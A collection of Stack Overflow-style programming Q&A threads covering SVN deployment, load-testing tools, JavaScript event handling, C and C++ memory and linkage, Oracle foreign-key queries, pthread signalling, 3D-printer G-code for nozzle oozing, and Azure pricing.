<p>trunk for development, and a branch (production) for the production stuff.</p> <p>On my local machine, I have a VirtualHost that points to the trunk branch, to test my changes.</p> <p>Any commit to trunk triggers a commit hook that does an svn export and sync to the online server's dev URL - so if the site is stackoverflow.com then this hook automatically updates dev.stackoverflow.com</p> <p>Then I use svnmerge to merge selected patches from trunk to production in my local checkouts. I have a VirtualHost again on my local machine pointing to the production branch.</p> <p>When I commit the merged changes to the production branch, again an SVN export hook updates the production (live) export and the site is live!</p>
<p>We use release branching - this seems to be more efficient for us than the feature branching we were doing. </p> <p>Don't make different branches for the different environments.</p>
2,574
<p>Does anyone know of a good tool to test load and stress on webservices? I've been looking at Watir and Selenium, but there more web page centered.</p>
<p>Here are some common load testing tools:</p> <ul> <li><a href="http://www.acme.com/software/http_load/" rel="nofollow noreferrer">HTTP_Load</a></li> <li><a href="http://jmeter.apache.org/" rel="nofollow noreferrer">Apache JMeter</a></li> <li><a href="http://grinder.sourceforge.net/" rel="nofollow noreferrer">Grinder</a></li> <li><a href="https://github.com/httperf/httperf" rel="nofollow noreferrer">HTTPperf</a></li> <li><a href="http://httpd.apache.org/docs/2.0/programs/ab.html" rel="nofollow noreferrer">AB</a></li> </ul>
<p>I've used <a href="http://www.radview.com" rel="nofollow">WebLOAD</a> before for webservice testing</p>
45,829
<p>I need to pick up list items from an list, and then perform operations like adding event handlers on them. I can think of two ways of doing this.</p> <p>HTML:</p> <pre><code> &lt;ul id="list"&gt; &lt;li id="listItem-0"&gt; first item &lt;/li&gt; &lt;li id="listItem-1"&gt; second item &lt;/li&gt; &lt;li id="listItem-2"&gt; third item &lt;/li&gt; &lt;/ul&gt; </code></pre> <ol> <li><p>Using the IDs-</p> <pre><code>for(i=0;i&lt;3;i++) { document.getElementById("listItem-"+i).addEventListener("click",foo,false); } </code></pre></li> <li><p>Using childNodes property-</p> <pre><code>for(i=0;i&lt;3;i++) { document.getElementById("list").childNodes[i] .addEventListener("click",foo,false); } </code></pre></li> </ol> <p>The reason i'm using the first approach is that in the function foo, if I want the index at which the item is located in the list, i can do it by splitting the id -</p> <pre><code> function foo() { tempArr = this.id.split('-'); index = tempArr[tempArr.length-1]; // the last element in the array } </code></pre> <p>I can't think of a way of doing it by using the second method, that is, without using the id naming scheme.</p> <p>The questions:</p> <ol> <li>How do I get the index using the second method or any better method</li> <li>Are there some very bad affects of following the first method ? </li> </ol>
<p>You can avoid adding event handlers to each list item by adding a single event handler to the containing element (the unordered list) and leveraging the concept of event bubbling. In this single event handler, you can use properties of the event object to determine what was clicked.</p> <p>It appears that you are wanting to map data in an array to list items. While parsing out an array index out of the list item id would work, another approach would be to store a "key" value on the list item as an expando, and use javascript object properties to do a lookup for your data.</p> <p>Partial Example:</p> <pre><code>&lt;li key="myKey"&gt; //oData is a object (eg. var oData = {};) that has been populated with properties //whose value is the desired data (eg. oData["myKey"] = 123;) alert(oData[event.srcElement.key]); // alerts 123 </code></pre> <p>As far as bad effects of the first technique you showed, one bad effect is that with many list items you end up with many event handlers being defined, which at some point would have an impact on performance.</p> <p>Also note that you may be unintentionally creating a global var in your loops by omitting the var keyword for "i".</p>
<p>As stated before, if you want to retrieve the list of li, you should use getElementsByTagName on your ul, because childNodes might retrieve some text nodes as well as li nodes.</p> <p>Now if what you need is to use the index in the event handler, you might be better directly using a closure in order to reuse the loop variable inside the event handler.</p> <pre><code>var lis = document.getElementById("list").getElementsByTagName("li"); for( var i = 0, l = lis.length; i &lt; l; ++i ) { (function(){ // As a new variable will be created for each loop, // you can use it in your event handler var li = lis[i]; li.addEventListener("click", function() { li.className = "clicked"; }, false); })(); } </code></pre> <p>But you may consider event delegation for this purpose. You only have to attach an event handler to the parent element and find the clicked element using the target attribute.</p> <pre><code>document.getElementById("list").addEventListener("click", function(event) { var li = event.target; if( li.nodeName.toLowerCase() == "li" ) { ... } }, false); </code></pre>
37,340
<p>I noticed last night that the WCF extensions for Visual Studio 2005 aren't available on their site any longer. I've read that they want people to use Visual Studio 2008 for WCF/WF/WPF.</p> <p>Have they made an official statement regarding this?</p> <p>edit:</p> <p>I already have the CTP3 for VS2005. I want to know what Microsoft's <strong>official</strong> stance is. Yes, I've read the threads and the blogs. If a blog post is all that is needed to make it official then so be it.</p>
<p>I faced the same problem... I needed to use WCF from Visual Studio 2005 and when I installed VS2008 the WCF extensions were gone. I googled around a lot and I found a hack to being able of working with WCF in Visual Studio 2005 or 2008.</p> <p>You have to run the following command from a VS2005 command promtp: <strong><em>msiexec /i vsextwfx.msi WRC_INSTALLED_OVERRIDE=1</em></strong></p> <p>For a little more info take a look at the post I wrote about it here: <a href="http://sgomez.blogspot.com/2008/08/visual-studio-2005-extensions-for-wcf.html" rel="nofollow noreferrer">http://sgomez.blogspot.com/2008/08/visual-studio-2005-extensions-for-wcf.html</a></p>
<p>There was never anything but CTP released for MS Visual Studio 2008</p> <p>According to <a href="http://forums.microsoft.com/msdn/ShowPost.aspx?PostID=3695753&amp;SiteID=1" rel="nofollow noreferrer">this</a> thread MS wants you to move to Visual Studio 2008.</p> <p>This <a href="http://blogs.msdn.com/acangialosi/archive/2008/06/27/vs-2005-extensions-for-net-framework-3-0-wpf-wcf-ctp-is-coming-off-the-ms-download-center.aspx" rel="nofollow noreferrer">blog</a> post confirms that.</p> <p>You could still download the <a href="http://www.download.com/The-Visual-Studio-2005-extensions-for-NET-Framework-3-0-WCF-WPF-November-2006-CTP/3000-10253_4-10727672.htm" rel="nofollow noreferrer">CTP3 for Visual Studio 2005</a> from a third-party server</p>
20,086
<p>When refactoring away some <code>#defines</code> I came across declarations similar to the following in a C++ header file:</p> <pre><code>static const unsigned int VAL = 42; const unsigned int ANOTHER_VAL = 37; </code></pre> <p>The question is, what difference, if any, will the static make? Note that multiple inclusion of the headers isn't possible due to the classic <code>#ifndef HEADER</code> <code>#define HEADER</code> <code>#endif</code> trick (if that matters).</p> <p>Does the static mean only one copy of <code>VAL</code> is created, in case the header is included by more than one source file?</p>
<p>The <code>static</code> means that there will be one copy of <code>VAL</code> created for each source file it is included in. But it also means that multiple inclusions will not result in multiple definitions of <code>VAL</code> that will collide at link time. In C, without the <code>static</code> you would need to ensure that only one source file defined <code>VAL</code> while the other source files declared it <code>extern</code>. Usually one would do this by defining it (possibly with an initializer) in a source file and put the <code>extern</code> declaration in a header file.</p> <p><code>static</code> variables at global level are only visible in their own source file whether they got there via an include or were in the main file.</p> <hr> <p><em>Editor's note:</em> In C++, <code>const</code> objects with neither the <code>static</code> nor <code>extern</code> keywords in their declaration are implicitly <code>static</code>.</p>
<p>Static prevents the compiler from adding multiple instances. This becomes less important with #ifndef protection, but assuming the header is included in two seperate libraries, and the application is linked, two instances would be included.</p>
11,802
<p>I have a small problem where plastic comes out of the nozzle while the printer is at a standstill (normally towards the end of heating the nozzle for a print), and whilst it moves from the line for clearing the nozzle on the left of the bed (Cura) before the actual print starts. This causes a slight problem where the first few millimetres of the printed line curls upwards when the nozzle comes back around again it goes over it but it causes a slight bump that makes a very small (but noticeable) skip or bump in the print on the bottom layer. </p> <p>I am using the Ender 3 running Marling 1.1.9 with a Bltouch and a <a href="https://www.amazon.co.uk/Comgrow-Glass-Creality-Printer-Ender-3/dp/B07DSC9TJQ/ref=sr_1_3?ie=UTF8&amp;qid=1543100048&amp;sr=8-3&amp;keywords=ender%203%20glass" rel="nofollow noreferrer">glass bed</a>, I didn't seem to have this problem before I upgraded to the glass bed and Marlin for the Bltouch.</p> <p>Any help will be greatly appreciated.</p>
<h1>basics first</h1> <p>The viscosity of plastic is temperature dependent: the warmer it is, the lower it gets and thus the more "runny". The lower the viscosity is, the less force is needed to move it.</p> <p>In printing, a pressure is applied to the filament from the extruder. Pressure is the force by area, thus for our look pretty much the same: the extruder exerts a force on the filament, to overcome the viscosity keeping it in the nozzle.</p> <p>A secondary effect is, that heated material expands, depending on what kind of material is in the nozzle.</p> <h1>what happens</h1> <p>The whole problem starts with shutting off the printer after the print: as the filament cools it shrinks. As the motors are turned off, the solidifying and shrinking plastic pulls at the filament. The filament can change its location or be pulled a little through the extruder, keeping the space quite well filled without cavities. Bowden style can change the mere filament path a little to compensate some of the shrinkings by shifting its path from hugging the outer wall to doing the same on the inner wall.</p> <p>As you start to heat up the printer, there is no force applied on the filament from the extruder to push it out of the nozzle. But when you shut it down, there was some filament in the nozzle.</p> <p>The filament melts and its viscosity drops, but at the same time, it expands. The extruder does not yet apply force, but as the material expands, it pushes against the filament stuck above it. Newton's 3rd law is the iconic <em>Actioni contrariam semper et æqualem esse reactionem</em> or as we know it short: <em>Actio = Reactio</em>, the force you exert in one direction equals a force applied in the reverse direction. Thus, the expanding filament pressing back against the extruder <em>also</em> exerts a force against itself down against the nozzle. The same is true for the nozzle, but the nozzle has one difference: it has a hole, where the forces are bundled to force filament out.</p> <p>At some point, the force from the expanding filament is big enough to overcome the viscosity keeping the filament in the nozzle and it oozes out.</p> <h1>fixes</h1> <p>There are several ways to fix this in slicing, but I prefer the end-code method.</p> <ul> <li>Modify your <strong>end code</strong> to provide space in the nozzle while it is still hot. Simply add <code>G1 E-3 F1800</code> to retract quickly at the end of print. F1800 is rather fast.</li> <li>Modify your <strong>start code</strong> could help in preventing very runny filaments from oozing, but you usually need to zero the extruder first with <code>G92 E0</code> and you <em>might</em> also need to allow negative values with <code>G1 S1</code>. This isn't usable in all firmware versions, but one can use <code>G92 E3</code> to set it to 3, then extrude, then 0.</li> </ul> <h2>Example End Code</h2> <p>Watch line 2. This is what prevents my Ender 3 from oozing in the first place</p> <pre><code>G91 ;relative position set G1 F1800 E-3 ; Retract 3 mm to prevent oozing on startup G1 F3000 Z10 ; Move up 10 mm to clear the print G90 ;absolute position set G28 X0 Y0 ; home x and y axis to clear the print M106 S0 ; turn off part cooling fan M104 S0 ; turn off extruder M140 S0 ; turn off bed M84 ; disable motors </code></pre> <h2>Example Start Code addition</h2> <p>This is just a snippet that forces retraction at the start, once the filament is hot. it <em>WILL</em> though make the first three millimeters of push come empty, thus should be combined with a cleaning that uses more than this - check out <a href="https://3dprinting.stackexchange.com/questions/6355/writing-g-code-swiping-at-start-of-print?s=1|65.5276">Writing G-code : swiping at start of print</a> for better nozzle priming.</p> <pre><code>G92 E3 G1 E-3 F1000 G92 E0 </code></pre>
<p>This effect is called oozing. At the end of heating up the hot end, left filament becomes so liquid that it oozes out of the nozzle. This left filament could be a left over from the previous print where an insufficient retract prior to the last print finish causes this (you could retract the filament a little further in your "end G-code" script, first reset the E to zero <code>G92 E0</code> and then retract <code>G1 E-3 F1500</code>, be sure that the priming length in your "start G-code" takes care of this distance).</p>
1,102
<p>OK, I'm not looking for anti-patterns - I'm looking for things that aren't really patterns, or perhaps patterns that have been abused.</p> <p>My personal least favourite is the "Helper" pattern.</p> <p>E.g. I need to create a SQL query, so call SQLQueryHelper. This needs to process some strings, so it in turn calls StringHelper. Etc., etc.</p> <p>See - this isn't really a design pattern at all...</p> <p>[edit] Don't you people who vote this down think you should add a constructive remark?</p>
<p>Singleton.</p> <p>It's a global variable in disguise and difficult to mock/stub for unit testing.</p> <p>Service Locator better, Dependency injection / Inversion of Control better still.</p> <p>The majority of references on the <a href="http://en.wikipedia.org/wiki/Singleton_pattern" rel="noreferrer">wikipedia article</a> are about why it is evil.</p>
<p>MVP. It's MVC but broken.</p> <p>Oh no but wait, developing an application IS completely different than following good practise such as "It's just a view".</p> <p><strong>Update</strong></p> <p>I reference "It's just a view" which is from the book Pragmatic Programmer. My main issue is that almost every single MVP implementation has the view holding onto the presenter and telling the presenter to do things. This is conceptually backwards. The UI should not have a dependancy on the logic. It is "just a view". The logic is the primary reason for the application, how that logic is displayed is a secondary concern. I could use one winform, or I could use many. Hell, I could pipe the whole thing out into ASCII text, or create the "view" by sending charges down a wire attached to an artist who renders the view via the medium of interperative dance.</p> <p>Practically speaking this premise does have some viable uses. Some of the controllers I've written in the past have MANY views that are exernally exposed and can be pushed into the UI as the application sees fit. Consider a live feed of data. I could present this as stats, as lines graphs, as pie charts. Perhaps all at the same time! Then the view holding onto the controller looks kinda silly, the parent is the controller and the children are the views.</p> <p>A traditional (Form holds presenter) MVP implementation has other consequences. One being that your UI now has a dependancy on code that performs the logic, this means it will also require references to everything that logic needs (services etc). </p> <p>The way to fix this is to pass in an interface (again, most MVP implementation I see have the form creating the presenter, but hey). Then it becomes a workable model, although i've never been a fan of passing in args to a form constructor.</p> <p>At the end of day it feels like people are twisting things around attempting to justify a model that is broken. I am of the personal belief that the MVP pattern purely exists as an attempt to rationalise how Visual Studio Windows Forms Applications work. They start with a "Form First" mentality. </p> <p>"Oh hai, here is your form, now go and draggy drop your controls and stuff logic into the UI"</p> <p>Anyone with experience with any apps that are beyond a util appreciate that this way of working does not scale. I see MVP as a way of making this scale but this just feels like an architectural band aid around the broken "form first" development model the IDE promotes. </p> <p>I argue that MVC is just MVC, MVP is a bastardisation of the pattern. Infact the whole definition of MVC is kinda backwards. The important part of it is separation of concerns. The UI, the logic, the data and/or services you're consuming. Keep these seperate. You don't implement MVC to do this, <em>you do this and by doing so you end up with a form of MVC</em>. MVP doesn't fit into this because you don't end up with MVP if you start by thinking of Separation of Concerns you end up with MVP if you're stuck in "Form First" land and you feel you should be doing things a bit more MVCish.</p> <p>That's my take on it anyway....</p>
16,863
<p>I was writing some code, and I notice a pattern in the exception handling that got me thinking:</p> <pre><code>try{ // do stuff... throws JMS, Create and NamingException } catch (NamingException e) { log1(e); rollback(); doSomething(e) } catch (CreateException e) { log1(e); rollback(); doSomething(e) } </code></pre> <p>Where JMSException would be handle some where up in the stack.</p> <p>Would it be to just write:</p> <pre><code>try{ // do stuff... throws JMS, Create and NamingException } catch Exception[NamingException, CreateException] e) { log1(e); rollback(); doSomething(e) } </code></pre> <p>instead of putting it in tu a helper method:</p> <pre><code>try{ // do stuff... throws JMS, Create and NamingException } catch (NamingException e) { helper_handleError1(e) } catch (CreateException e) { helper_handleError1(e) } </code></pre> <p>Notice that I want to propagate stacktrace of the original JMSException, and I don't "feel like" creating an new JMSException with a third catch clause :)</p> <p>Any toughs? Is this an extreme situation that would only pollute the syntax of Java, or just a cool thing to add?</p>
<p>They are considering an extension of this type for Java 7.</p> <p>See: <a href="http://tech.puredanger.com/java7#catch" rel="nofollow noreferrer">http://tech.puredanger.com/java7#catch</a></p>
<p>I would like if it would be possible to do some pattern matching on exception type as a syntactic addiotion. Something like</p> <pre> try { ... } catch ((IOException && !FileNotFoundException) || IllegalArgumentException ) { ... handle it } </pre>
44,274
<p>I am trying to build a dependency graph of tables based on the foreign keys between them. This graph needs to start with an arbitrary table name as its root. I could, given a table name look up the tables that reference it using the all_constraints view, then look up the tables that reference them, and so on, but this would be horrible inefficient. I wrote a recursive query that does this for all tables, but when I add:</p> <pre><code>START WITH Table_Name=:tablename </code></pre> <p>It doesn't return the entire tree.</p>
<pre><code> select parent, child, level from ( select parent_table.table_name parent, child_table.table_name child from user_tables parent_table, user_constraints parent_constraint, user_constraints child_constraint, user_tables child_table where parent_table.table_name = parent_constraint.table_name and parent_constraint.constraint_type IN( 'P', 'U' ) and child_constraint.r_constraint_name = parent_constraint.constraint_name and child_constraint.constraint_type = 'R' and child_table.table_name = child_constraint.table_name and child_table.table_name != parent_table.table_name ) start with parent = 'DEPT' connect by prior child = parent </code></pre> <p>should work (replace the table name, of course) assuming that everything is in the same schema. Use the DBA_ versions of the data dictionary tables and conditions for the OWNER and R_OWNER columns if you need to handle cross-schema dependencies. On further reflection, this does not account for self-referential constraints (i.e. a constraint on the EMP table that the MGR column references the EMPNO column) either, so you'd have to modify the code to handle that case if you need to deal with self-referential constraints.</p> <p>For testing purposes, I added a few new tables to the SCOTT schema that also reference the DEPT table (including a grandchild dependency)</p> <pre><code>SQL&gt; create table dept_child2 ( 2 deptno number references dept( deptno ) 3 ); Table created. SQL&gt; create table dept_child3 ( 2 dept_child3_no number primary key, 3 deptno number references dept( deptno ) 4 ); Table created. SQL&gt; create table dept_grandchild ( 2 dept_child3_no number references dept_child3( dept_child3_no ) 3 ); Table created. </code></pre> <p>and verified that the query returned the expected output</p> <pre><code>SQL&gt; ed Wrote file afiedt.buf 1 select parent, child, level from ( 2 select parent_table.table_name parent, child_table.table_name child 3 from user_tables parent_table, 4 user_constraints parent_constraint, 5 user_constraints child_constraint, 6 user_tables child_table 7 where parent_table.table_name = parent_constraint.table_name 8 and parent_constraint.constraint_type IN( 'P', 'U' ) 9 and child_constraint.r_constraint_name = parent_constraint.constraint_name 10 and child_constraint.constraint_type = 'R' 11 and child_table.table_name = child_constraint.table_name 12 and child_table.table_name != parent_table.table_name 13 ) 14 start with parent = 'DEPT' 15* connect by prior child = parent SQL&gt; / PARENT CHILD LEVEL ------------------------------ ------------------------------ ---------- DEPT DEPT_CHILD3 1 DEPT_CHILD3 DEPT_GRANDCHILD 2 DEPT DEPT_CHILD2 1 DEPT EMP 1 </code></pre>
<p>Simplest way to do this is to copy all the FK info into a simple, 2-column (parent,child) table, and then use the following algorithm:</p> <pre><code>while (rows left in that table) list = rows where table name exists in child but not in parent print list remove list from rows </code></pre> <p>that's all. Basically, you first print and remove all the nodes that don't depend on anything. After that being done, some other nodes will get free and you can repeat process.</p> <p>P.S. Make sure you don't insert self-referencing tables in the initial list (child=parent)</p>
11,347
<p>How should I configure the class to bind three dropdowns (date, month, year) to a single Date property so that it works the way it works for 'single request parameter per property' scenario ? I guess a should add some custom PropertyEditors by overriding initBinder method. What else ?</p>
<p>Aleksey Kudryavtsev: you can override the onBind method in your controller, i which you cant fiddle something special in command object, like </p> <pre><code>dateField = new SimpleFormat("YYYY-mm-dd").parse(this.year + "-" + this.month + "-" this.day); </code></pre> <p>or:</p> <pre><code>Calendar c = Calendar.getInstance(); c.set(year, month, day); dateField = calendar.getTime(); </code></pre> <p>but i'd rather do validation in javascript and use some available date picker component, there are plenty of them...</p>
<p>then i would have three fields in my command object - year, month, day and would use standard spring validation for date checking</p>
19,516
<p>I know how to create an array of structs but with a predefined size. However is there a way to create a dynamic array of structs such that the array could get bigger?</p> <p>For example:</p> <pre><code> typedef struct { char *str; } words; main() { words x[100]; // I do not want to use this, I want to dynamic increase the size of the array as data comes in. } </code></pre> <p>Is this possible?</p> <hr> <p>I've researched this: <code>words* array = (words*)malloc(sizeof(words) * 100);</code></p> <p>I want to get rid of the 100 and store the data as it comes in. Thus if 76 fields of data comes in, I want to store 76 and not 100. I'm assuming that I don't know how much data is coming into my program. In the struct I defined above I could create the first "index" as:</p> <pre><code> words* array = (words*)malloc(sizeof(words)); </code></pre> <p>However I want to dynamically add elements to the array after. I hope I described the problem area clearly enough. The major challenge is to dynamically add a second field, at least that is the challenge for the moment.</p> <hr> <p>I've made a little progress however:</p> <pre><code> typedef struct { char *str; } words; // Allocate first string. words x = (words) malloc(sizeof(words)); x[0].str = "john"; // Allocate second string. x=(words*) realloc(x, sizeof(words)); x[1].FirstName = "bob"; // printf second string. printf("%s", x[1].str); --&gt; This is working, it's printing out bob. free(x); // Free up memory. printf("%s", x[1].str); --&gt; Not working since its still printing out BOB even though I freed up memory. What is wrong? </code></pre> <p>I did some error checking and this is what I found. If after I free up memory for x I add the following:</p> <pre><code> x=NULL; </code></pre> <p>then if I try to print x I get an error which is what I want. So is it that the free function is not working, at least on my compiler? I'm using DevC??</p> <hr> <p>Thanks, I understand now due to:</p> <blockquote> <p>FirstName is a pointer to an array of char which is not being allocated by the malloc, only the pointer is being allocated and after you call free, it doesn't erase the memory, it just marks it as available on the heap to be over written later. – MattSmith</p> </blockquote> <h2>Update</h2> <p>I'm trying to modularize and put the creation of my array of structs in a function but nothing seems to work. I'm trying something very simple and I don't know what else to do. It's along the same lines as before, just another function, loaddata that is loading the data and outside the method I need to do some printing. How can I make it work? My code is as follows:</p> <pre><code> # include &lt;stdio.h&gt; # include &lt;stdlib.h&gt; # include &lt;string.h&gt; # include &lt;ctype.h&gt; typedef struct { char *str1; char *str2; } words; void LoadData(words *, int *); main() { words *x; int num; LoadData(&amp;x, &amp;num); printf("%s %s", x[0].str1, x[0].str2); printf("%s %s", x[1].str1, x[1].str2); getch(); }// void LoadData(words *x, int * num) { x = (words*) malloc(sizeof(words)); x[0].str1 = "johnnie\0"; x[0].str2 = "krapson\0"; x = (words*) realloc(x, sizeof(words)*2); x[1].str1 = "bob\0"; x[1].str2 = "marley\0"; *num=*num+1; }// </code></pre> <p>This simple test code is crashing and I have no idea why. Where is the bug?</p>
<p>You've tagged this as C++ as well as C.</p> <p>If you're using C++ things are a lot easier. The standard template library has a template called vector which allows you to dynamically build up a list of objects.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;vector&gt; typedef std::vector&lt;char*&gt; words; int main(int argc, char** argv) { words myWords; myWords.push_back("Hello"); myWords.push_back("World"); words::iterator iter; for (iter = myWords.begin(); iter != myWords.end(); ++iter) { printf("%s ", *iter); } return 0; } </code></pre> <p>If you're using C things are a lot harder, yes malloc, realloc and free are the tools to help you. You might want to consider using a linked list data structure instead. These are generally easier to grow but don't facilitate random access as easily.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; typedef struct s_words { char* str; struct s_words* next; } words; words* create_words(char* word) { words* newWords = malloc(sizeof(words)); if (NULL != newWords){ newWords-&gt;str = word; newWords-&gt;next = NULL; } return newWords; } void delete_words(words* oldWords) { if (NULL != oldWords-&gt;next) { delete_words(oldWords-&gt;next); } free(oldWords); } words* add_word(words* wordList, char* word) { words* newWords = create_words(word); if (NULL != newWords) { newWords-&gt;next = wordList; } return newWords; } int main(int argc, char** argv) { words* myWords = create_words("Hello"); myWords = add_word(myWords, "World"); words* iter; for (iter = myWords; NULL != iter; iter = iter-&gt;next) { printf("%s ", iter-&gt;str); } delete_words(myWords); return 0; } </code></pre> <p>Yikes, sorry for the worlds longest answer. So WRT to the "don't want to use a linked list comment":</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; typedef struct { char** words; size_t nWords; size_t size; size_t block_size; } word_list; word_list* create_word_list(size_t block_size) { word_list* pWordList = malloc(sizeof(word_list)); if (NULL != pWordList) { pWordList-&gt;nWords = 0; pWordList-&gt;size = block_size; pWordList-&gt;block_size = block_size; pWordList-&gt;words = malloc(sizeof(char*)*block_size); if (NULL == pWordList-&gt;words) { free(pWordList); return NULL; } } return pWordList; } void delete_word_list(word_list* pWordList) { free(pWordList-&gt;words); free(pWordList); } int add_word_to_word_list(word_list* pWordList, char* word) { size_t nWords = pWordList-&gt;nWords; if (nWords &gt;= pWordList-&gt;size) { size_t newSize = pWordList-&gt;size + pWordList-&gt;block_size; void* newWords = realloc(pWordList-&gt;words, sizeof(char*)*newSize); if (NULL == newWords) { return 0; } else { pWordList-&gt;size = newSize; pWordList-&gt;words = (char**)newWords; } } pWordList-&gt;words[nWords] = word; ++pWordList-&gt;nWords; return 1; } char** word_list_start(word_list* pWordList) { return pWordList-&gt;words; } char** word_list_end(word_list* pWordList) { return &amp;pWordList-&gt;words[pWordList-&gt;nWords]; } int main(int argc, char** argv) { word_list* myWords = create_word_list(2); add_word_to_word_list(myWords, "Hello"); add_word_to_word_list(myWords, "World"); add_word_to_word_list(myWords, "Goodbye"); char** iter; for (iter = word_list_start(myWords); iter != word_list_end(myWords); ++iter) { printf("%s ", *iter); } delete_word_list(myWords); return 0; } </code></pre>
<p>If you want to grow the array dynamically, you should use malloc() to dynamically allocate some fixed amount of memory, and then use realloc() whenever you run out. A common technique is to use an exponential growth function such that you allocate some small fixed amount and then make the array grow by duplicating the allocated amount. </p> <p>Some example code would be:</p> <pre><code>size = 64; i = 0; x = malloc(sizeof(words)*size); /* enough space for 64 words */ while (read_words()) { if (++i &gt; size) { size *= 2; x = realloc(sizeof(words) * size); } } /* done with x */ free(x); </code></pre>
32,622
<p>Now that I've finnaly moved to doing some development/support work for Windows 2008 I find myself annoyed by the lack of one feature I just can't enable: the desktop shortcut to "My Computer" I've grown used to. I know how to enable this on XP and 2003, but I just can't find the setting on 2008.</p> <p>How can a user configure which desktop icons (My Computer, My Documents, Recycling Bin etc) on Windows 2008 Server?</p>
<p>Right click on the Computer menu item on the start menu, and select 'Show on Desktop' from the context menu that pops up.</p>
<p>Create a Registry Editor file (<code>.reg</code> file) with the following content, and import it into the Registry:</p> <pre><code>Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel] "{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}"=dword:00000000 "{20D04FE0-3AEA-1069-A2D8-08002B30309D}"=dword:00000000 "{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}"=dword:00000000 </code></pre>
36,887
<p>I have a thread running in the background that is reading events from an input device in a blocking fashion, now when I exit the application I want to clean up the thread properly, but I can't just run a pthread_join() because the thread would never exit due to the blocking IO.</p> <p>How do I properly solve that situation? Should I send a pthread_kill(theard, SIGIO) or a pthread_kill(theard, SIGALRM) to break the block? Is either of that even the right signal? Or is there another way to solve this situation and let that child thread exit the blocking read?</p> <p>Currently a bit puzzled since none of my googling turned up a solution.</p> <p>This is on Linux and using pthreads.</p> <p>Edit: I played around a bit with SIGIO and SIGALRM, when I don't install a signal handler they break the blocking IO up, but give a message on the console ("I/O possible") but when I install a signal handler, to avoid that message, they no longer break the blocking IO, so the thread doesn't terminate. So I am kind of back to step one.</p>
<p>I too would recommend using a select or some other non-signal-based means of terminating your thread. One of the reasons we have threads is to try and get away from signal madness. That said...</p> <p>Generally one uses pthread_kill() with SIGUSR1 or SIGUSR2 to send a signal to the thread. The other suggested signals--SIGTERM, SIGINT, SIGKILL--have process-wide semantics that you may not be interested in.</p> <p>As for the behavior when you sent the signal, my guess is that it has to do with how you handled the signal. If you have no handler installed, the default action of that signal are applied, but in the context of the thread that received the signal. So SIGALRM, for instance, would be "handled" by your thread, but the handling would consist of terminating the process--probably not the desired behavior.</p> <p>Receipt of a signal by the thread will generally break it out of a read with EINTR, unless it is truly in that uninterruptible state as mentioned in an earlier answer. But I think it's not, or your experiments with SIGALRM and SIGIO would not have terminated the process.</p> <p>Is your read perhaps in some sort of a loop? If the read terminates with -1 return, then break out of that loop and exit the thread.</p> <p>You can play with this very sloppy code I put together to test out my assumptions--I am a couple of timezones away from my POSIX books at the moment...</p> <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; #include &lt;pthread.h&gt; #include &lt;signal.h&gt; int global_gotsig = 0; void *gotsig(int sig, siginfo_t *info, void *ucontext) { global_gotsig++; return NULL; } void *reader(void *arg) { char buf[32]; int i; int hdlsig = (int)arg; struct sigaction sa; sa.sa_handler = NULL; sa.sa_sigaction = gotsig; sa.sa_flags = SA_SIGINFO; sigemptyset(&amp;sa.sa_mask); if (sigaction(hdlsig, &amp;sa, NULL) &lt; 0) { perror("sigaction"); return (void *)-1; } i = read(fileno(stdin), buf, 32); if (i &lt; 0) { perror("read"); } else { printf("Read %d bytes\n", i); } return (void *)i; } main(int argc, char **argv) { pthread_t tid1; void *ret; int i; int sig = SIGUSR1; if (argc == 2) sig = atoi(argv[1]); printf("Using sig %d\n", sig); if (pthread_create(&amp;tid1, NULL, reader, (void *)sig)) { perror("pthread_create"); exit(1); } sleep(5); printf("killing thread\n"); pthread_kill(tid1, sig); i = pthread_join(tid1, &amp;ret); if (i &lt; 0) perror("pthread_join"); else printf("thread returned %ld\n", (long)ret); printf("Got sig? %d\n", global_gotsig); } </code></pre>
<p>Signals and thread is a subtle problem on Linux according to the different man pages. Do you use LinuxThreads, or NPTL (if you are on Linux) ?</p> <p>I am not sure of this, but I think the signal handler affects the whole process, so either you terminate your whole process or everything continue.</p> <p>You should use timed select or poll, and set a global flag to terminate your thread.</p>
24,926
<p>Windows Azure looks like a promising cloud platform. The big unknown right now is the pricing model. Microsoft says that they are still working on that, but it will be competitive. What do you think would make a good pricing model? </p> <p>Let's hope that Microsoft will take note of what a bunch of programmers want.</p> <p>Update: Azure Pricing: <a href="http://www.microsoft.com/azure/pricing.mspx" rel="nofollow noreferrer">http://www.microsoft.com/azure/pricing.mspx</a></p>
<p>Azure can go one of two ways:</p> <ol> <li><p>Simple Pay-as-you-go model, like Amazon has, with tiered pricing for higher usage (more usage = lower per-unit pricing). This is the model I would like to see. It works well for Amazon, the industry gets it, anybody reading the pricing will quickly be able to estimate whether it will cost more or less than their budget, etc.</p></li> <li><p>Complex Service Level Agreements and Black Box Arrangements. They can make this hard. They can make it so that if you're a partner in the US in special program XYZ then you have this price schedule, but if you're a Super-Duper Partner in Ontario then you have another price, and if you're at a fortune 500 company with branches in Maui then you get yet another price, and nobody can figure out what the prices are on their own. This would be a big mistake, and would cost Azure virtually all of its small entrepreneurs, hobbyists, and small-medium business customers. Even if they have Azure Express for Hobbyists and Students, it will still fail compared to option 1.</p></li> </ol> <p>Here's hoping they do something simple - otherwise I fear Amazon will beat them handily, and/or Google will come along with something free and perhaps ad supported and they'll have a difficult time competing against that.</p>
<p>Windows Azure pricing has gone through several revisions since its commercial launch. Current pricing is <a href="https://www.windowsazure.com/en-us/pricing/calculator/" rel="nofollow">here</a>, including a price calculator to help you when looking at monthly costs for given services.</p> <p>One comment in this discussion is about idle-time costs. Windows Azure service costs are based by core-hour, not by cpu utilization (similar to a hotel rental: you pay for the room by the day, regardless whether you're occupying it). During development, costs are easily kept to a minimum (or free if using MSDN accounts) by deleting deployments after testing. Unless running long-term tests, there's no need to keep deployments running 24x7 when in development. Just don't delete the service namespace itself.</p>
40,402
